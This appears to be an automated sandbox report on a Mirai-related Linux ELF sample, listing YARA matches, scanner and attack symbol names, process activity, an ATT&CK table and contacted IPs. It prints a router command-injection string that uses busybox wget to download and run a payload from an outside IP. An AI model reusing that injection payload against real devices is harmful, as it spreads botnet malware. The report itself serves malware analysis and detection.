Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51124
Source: unknown	Network traffic detected: HTTP traffic on port 37888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52456
Source: unknown	Network traffic detected: HTTP traffic on port 56840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52460
Source: unknown	Network traffic detected: HTTP traffic on port 40024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51138
Source: unknown	Network traffic detected: HTTP traffic on port 35910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52466
Source: unknown	Network traffic detected: HTTP traffic on port 46808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51136
Source: unknown	Network traffic detected: HTTP traffic on port 60614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52472
Source: unknown	Network traffic detected: HTTP traffic on port 39276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40494
Source: unknown	Network traffic detected: HTTP traffic on port 34404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60074 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 4F5W85YGoU.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5511.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5515.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_app.c
Source: ELF static info symbol of initial sample	Name: attack_app_http
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_get_opt_str
Source: ELF static info symbol of initial sample	Name: attack_gre.c
Source: ELF static info symbol of initial sample	Name: attack_gre_tcpfrag
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_method.c

Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: __gnu_unwind_execute
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: gpon443_scanner
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: gpon443_scanner_pid
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: gpon443_scanner_rawpkt
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: linksys_scanner.c
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: linksysscanner_fake_time
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: linksysscanner_rsck
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: linksysscanner_scanner_init
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: linksysscanner_scanner_kill
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: linksysscanner_scanner_pid
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: linksysscanner_scanner_rawpkt
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: linksysscanner_setup_connection
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: scanner.c
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: scanner_kill
Source: 4F5W85YGoU.elf	ELF static info symbol of initial sample: scanner_pid

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.103/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.103/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /tmUnblock.cgi HTTP/1.1

Source: 4F5W85YGoU.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5511.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5515.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal92.troj.linELF@0/0@0/0

Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1185/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3241/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1732/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1730/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1333/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1695/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3235/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3234/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/911/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/515/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/914/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1617/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1615/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/917/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3255/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3253/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1591/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3252/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3251/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3250/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1623/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1588/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3249/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/764/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1585/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3246/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/766/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/888/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/802/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1509/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/803/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/804/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1867/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1484/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/490/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1514/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1634/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1479/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1875/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/654/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/655/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/656/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/777/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/931/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1595/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/812/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/779/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/933/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/418/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3275/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3274/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3273/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3272/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/782/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3303/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1762/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3027/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1486/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/789/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1806/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1660/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3044/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/793/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/794/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/674/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/796/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/675/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/676/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1498/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1497/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1496/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3157/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3278/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1659/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3210/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3298/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3052/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/680/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/681/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3292/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1701/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1666/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3205/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3047/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3201/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/723/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/724/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1704/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1669/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3060/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1440/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3222/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3188/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3220/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3064/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3062/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/3183/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1679/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/850/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1432/maps	Jump to behavior
Source: /tmp/4F5W85YGoU.elf (PID: 5521)	File opened: /proc/1553/maps	Jump to behavior

Source: /tmp/4F5W85YGoU.elf (PID: 5511)

Queries kernel information via 'uname':

Jump to behavior

Source: 4F5W85YGoU.elf, 5511.1.00007fffc8434000.00007fffc8455000.rw-.sdmp, 4F5W85YGoU.elf, 5515.1.00007fffc8434000.00007fffc8455000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/4F5W85YGoU.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/4F5W85YGoU.elf
Source: 4F5W85YGoU.elf, 5511.1.000055ca1ef13000.000055ca1f063000.rw-.sdmp, 4F5W85YGoU.elf, 5515.1.000055ca1ef13000.000055ca1f041000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: 4F5W85YGoU.elf, 5511.1.000055ca1ef13000.000055ca1f063000.rw-.sdmp, 4F5W85YGoU.elf, 5515.1.000055ca1ef13000.000055ca1f041000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: 4F5W85YGoU.elf, 5511.1.00007fffc8434000.00007fffc8455000.rw-.sdmp, 4F5W85YGoU.elf, 5515.1.00007fffc8434000.00007fffc8455000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 4F5W85YGoU.elf, type: SAMPLE
Source: Yara match	File source: 5511.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5515.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: 4F5W85YGoU.elf, type: SAMPLE
Source: Yara match	File source: 5511.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5515.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	2 Ingress Tool Transfer			Data Encrypted for Impact	Server	Gather Victim Network Information

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4F5W85YGoU.elf	73%	ReversingLabs	Linux.Trojan.Mirai
4F5W85YGoU.elf	100%	Avira	EXP/ELF.Gafgyt.Gen.Z.H

Name	Malicious	Antivirus Detection	Reputation
http://45.142.182.103:80/tmUnblock.cgi	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.142.182.103/bin	4F5W85YGoU.elf	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
206.55.88.211	unknown	Canada	21548	MTOCA	false
79.157.52.158	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
79.4.154.76	unknown	Italy	3269	ASN-IBSNAZIT	false
90.2.19.205	unknown	France	3215	FranceTelecom-OrangeFR	false
159.82.197.222	unknown	United States	16928	UTCNETUS	false
34.116.57.8	unknown	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
220.20.98.51	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
156.2.60.146	unknown	United States	29975	VODACOM-ZA	false
20.170.115.86	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
178.106.20.152	unknown	United Kingdom	12576	EELtdGB	false
109.100.75.194	unknown	Romania	9050	RTDBucharestRomaniaRO	false
94.224.118.250	unknown	Belgium	6848	TELENET-ASBE	false
163.181.100.209	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
162.187.22.177	unknown	United States	21928	T-MOBILE-AS21928US	false
219.64.246.231	unknown	India	4755	TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP	false
5.236.23.44	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
205.237.116.113	unknown	United States	2698	IASTATE-ASUS	false
85.218.240.80	unknown	Denmark	197288	STOFANETDK	false
36.184.200.103	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
188.61.151.61	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
87.142.73.71	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
188.86.5.86	unknown	Spain	12430	VODAFONE_ESES	false
12.21.246.79	unknown	United States	7018	ATT-INTERNET4US	false
2.53.80.192	unknown	Israel	12400	PARTNER-ASIL	false
199.92.175.209	unknown	United States	11499	WHOI-WOODSHOLEUS	false
37.41.133.169	unknown	Oman	28885	OMANTEL-NAP-ASOmanTelNAPOM	false
101.10.16.246	unknown	Taiwan; Republic of China (ROC)	24158	TAIWANMOBILE-ASTaiwanMobileCoLtdTW	false
37.248.18.222	unknown	Poland	8374	PLUSNETPlusnetworkoperatorinPolandPL	false
160.71.100.199	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
37.189.119.22	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
171.167.247.84	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
79.151.94.72	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
59.60.173.71	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
110.76.137.59	unknown	Australia	59362	KSNETWORK-AS-APKSNetworkLimitedBD	false
150.227.93.112	unknown	Sweden	3246	TDCSONGTele2BusinessTDCSwedenSE	false
152.97.244.212	unknown	United States	21766	BEN-LOMAND-TELUS	false
4.219.252.108	unknown	United States	3356	LEVEL3US	false
120.127.132.211	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
180.212.123.12	unknown	China	17638	CHINATELECOM-TJ-AS-APASNforTIANJINProvincialNetofCT	false
37.112.38.197	unknown	Russian Federation	57378	ROSTOV-ASRU	false
35.79.232.178	unknown	United States	16509	AMAZON-02US	false
138.133.135.200	unknown	United States	3269	ASN-IBSNAZIT	false
200.252.173.170	unknown	Brazil	4230	CLAROSABR	false
5.113.17.226	unknown	Iran (ISLAMIC Republic Of)	44244	IRANCELL-ASIR	false
58.175.95.175	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
183.183.165.126	unknown	Japan	45684	MIRAINETKyoceraCommunicationSystemsCoLtdJP	false
178.71.171.226	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
109.64.111.217	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	false
94.31.242.182	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
2.63.171.180	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
79.47.183.86	unknown	Italy	3269	ASN-IBSNAZIT	false
2.64.113.174	unknown	Sweden	44034	HI3GSE	false
58.85.218.56	unknown	Japan	9617	ZAQJupiterTelecommunicationsCoLtdJP	false
72.33.238.152	unknown	United States	59	WISC-MADISON-ASUS	false
216.18.23.154	unknown	Canada	11831	ESECUREDATACA	false
222.76.62.128	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
48.51.177.90	unknown	United States	2686	ATGS-MMD-ASUS	false
42.85.2.32	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
93.30.159.238	unknown	France	15557	LDCOMNETFR	false
5.125.187.171	unknown	Iran (ISLAMIC Republic Of)	44244	IRANCELL-ASIR	false
105.103.65.108	unknown	Algeria	36947	ALGTEL-ASDZ	false
35.58.142.255	unknown	United States	36375	UMICH-AS-5US	false
210.255.206.60	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
116.94.98.196	unknown	Japan	7679	QTNETQTnetIncJP	false
39.202.162.255	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
23.178.36.149	unknown	Reserved	394232	TELKEL-MTLCA	false
43.87.11.139	unknown	Japan	4249	LILLY-ASUS	false
195.197.253.129	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
1.169.127.65	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
115.191.122.166	unknown	China	7497	CSTNET-AS-APComputerNetworkInformationCenterCN	false
85.21.177.212	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
107.227.192.243	unknown	United States	7018	ATT-INTERNET4US	false
104.76.15.12	unknown	United States	16625	AKAMAI-ASUS	false
